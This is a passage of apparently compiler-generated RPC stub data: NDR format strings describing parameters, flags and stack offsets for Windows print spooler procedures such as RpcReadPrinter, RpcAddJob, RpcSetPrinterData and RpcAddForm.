0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1310 */\tNdrFcShort( 0x5f2 ),\t/* Type Offset=1522 */\n\n\t/* Parameter cbBuf */\n\n/* 1312 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1314 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1316 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcWritten */\n\n/* 1318 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1320 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1322 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1324 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1326 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1328 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcEndPagePrinter */\n\n/* 1330 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1332 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1336 */\tNdrFcShort( 0x14 ),\t/* 20 */\n/* 1338 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1340 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1342 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1344 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1346 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1348 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1350 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x2,\t\t/* 2 */\n/* 1352 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1354 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1356 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1358 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1360 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1362 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1364 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1366 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Return value */\n\n/* 1368 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1370 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1372 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAbortPrinter */\n\n/* 1374 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1376 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1380 */\tNdrFcShort( 0x15 ),\t/* 21 */\n/* 1382 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1384 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1386 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1388 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1390 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1392 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1394 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x2,\t\t/* 2 */\n/* 1396 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1398 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1400 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1402 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1404 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1406 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1408 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1410 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Return value */\n\n/* 1412 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1414 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1416 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcReadPrinter */\n\n/* 1418 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1420 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1424 */\tNdrFcShort( 0x16 ),\t/* 22 */\n/* 1426 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1428 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1430 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1432 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1434 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 1436 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1438 */\t0x45,\t\t/* Oi2 Flags:  srv must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 1440 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 1442 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1444 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1446 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1448 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1450 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1452 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1454 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter pBuf */\n\n/* 1456 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 1458 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1460 */\tNdrFcShort( 0x5f2 ),\t/* Type Offset=1522 */\n\n\t/* Parameter cbBuf */\n\n/* 1462 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1464 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1466 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcNoBytesRead */\n\n/* 1468 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1470 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1472 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1474 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1476 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1478 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcEndDocPrinter */\n\n/* 1480 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1482 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1486 */\tNdrFcShort( 0x17 ),\t/* 23 */\n/* 1488 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1490 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1492 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1494 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1496 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1498 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1500 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x2,\t\t/* 2 */\n/* 1502 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1504 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1506 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1508 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1510 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1512 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1514 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1516 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Return value */\n\n/* 1518 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1520 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1522 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAddJob */\n\n/* 1524 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1526 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1530 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 1532 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1534 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1536 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1538 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1540 */\tNdrFcShort( 0x34 ),\t/* 52 */\n/* 1542 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1544 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 1546 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 1548 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1550 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1552 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1554 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1556 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1558 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1560 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter Level */\n\n/* 1562 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1564 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1566 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pAddJob */\n\n/* 1568 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 1570 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1572 */\tNdrFcShort( 0x332 ),\t/* Type Offset=818 */\n\n\t/* Parameter cbBuf */\n\n/* 1574 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1576 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1578 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 1580 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1582 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1584 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1586 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1588 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1590 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcScheduleJob */\n\n/* 1592 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1594 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1598 */\tNdrFcShort( 0x19 ),\t/* 25 */\n/* 1600 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1602 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1604 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1606 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1608 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 1610 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1612 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 1614 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1616 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1618 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1620 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1622 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1624 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1626 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1628 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter JobId */\n\n/* 1630 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1632 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1634 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1636 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1638 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1640 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcGetPrinterData */\n\n/* 1642 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1644 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1648 */\tNdrFcShort( 0x1a ),\t/* 26 */\n/* 1650 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 1652 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1654 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1656 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1658 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 1660 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 1662 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 1664 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 1666 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1668 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1670 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1672 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1674 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1676 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1678 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter pValueName */\n\n/* 1680 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1682 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1684 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Parameter pType */\n\n/* 1686 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1688 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1690 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pData */\n\n/* 1692 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 1694 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1696 */\tNdrFcShort( 0xa ),\t/* Type Offset=10 */\n\n\t/* Parameter nSize */\n\n/* 1698 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1700 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1702 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 1704 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1706 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1708 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1710 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1712 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1714 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcSetPrinterData */\n\n/* 1716 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1718 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1722 */\tNdrFcShort( 0x1b ),\t/* 27 */\n/* 1724 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1726 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1728 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1730 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1732 */\tNdrFcShort( 0x34 ),\t/* 52 */\n/* 1734 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1736 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 1738 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 1740 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1742 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1744 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1746 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1748 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1750 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1752 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter pValueName */\n\n/* 1754 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1756 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1758 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Parameter Type */\n\n/* 1760 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1762 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1764 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pData */\n\n/* 1766 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1768 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1770 */\tNdrFcShort( 0xa ),\t/* Type Offset=10 */\n\n\t/* Parameter cbData */\n\n/* 1772 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1774 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1776 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1778 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1780 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1782 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcWaitForPrinterChange */\n\n/* 1784 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1786 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1790 */\tNdrFcShort( 0x1c ),\t/* 28 */\n/* 1792 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1794 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1796 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1798 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1800 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 1802 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1804 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 1806 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1808 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1810 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1812 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1814 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1816 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1818 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1820 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter Flags */\n\n/* 1822 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1824 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1826 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pFlags */\n\n/* 1828 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1830 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1832 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1834 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1836 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1838 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcClosePrinter */\n\n/* 1840 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1842 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1846 */\tNdrFcShort( 0x1d ),\t/* 29 */\n/* 1848 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1850 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xe0,\t\t/* Ctxt flags:  via ptr, in, out, */\n/* 1852 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1854 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1856 */\tNdrFcShort( 0x38 ),\t/* 56 */\n/* 1858 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 1860 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x2,\t\t/* 2 */\n/* 1862 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1864 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1866 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1868 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1870 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter phPrinter */\n\n/* 1872 */\tNdrFcShort( 0x118 ),\t/* Flags:  in, out, simple ref, */\n/* 1874 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1876 */\tNdrFcShort( 0x610 ),\t/* Type Offset=1552 */\n\n\t/* Return value */\n\n/* 1878 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1880 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1882 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAddForm */\n\n/* 1884 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1886 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1890 */\tNdrFcShort( 0x1e ),\t/* 30 */\n/* 1892 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1894 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1896 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1898 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1900 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1902 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1904 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 1906 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 1908 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1910 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1912 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1914 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1916 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1918 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1920 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter pFormInfoContainer */\n\n/* 1922 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1924 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1926 */\tNdrFcShort( 0x696 ),\t/* Type Offset=1686 */\n\n\t/* Return value */\n\n/* 1928 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1930 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1932 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcDeleteForm */\n\n/* 1934 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1936 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1940 */\tNdrFcShort( 0x1f ),\t/* 31 */\n/* 1942 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1944 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1946 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1948 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1950 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1952 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1954 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 1956 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1958 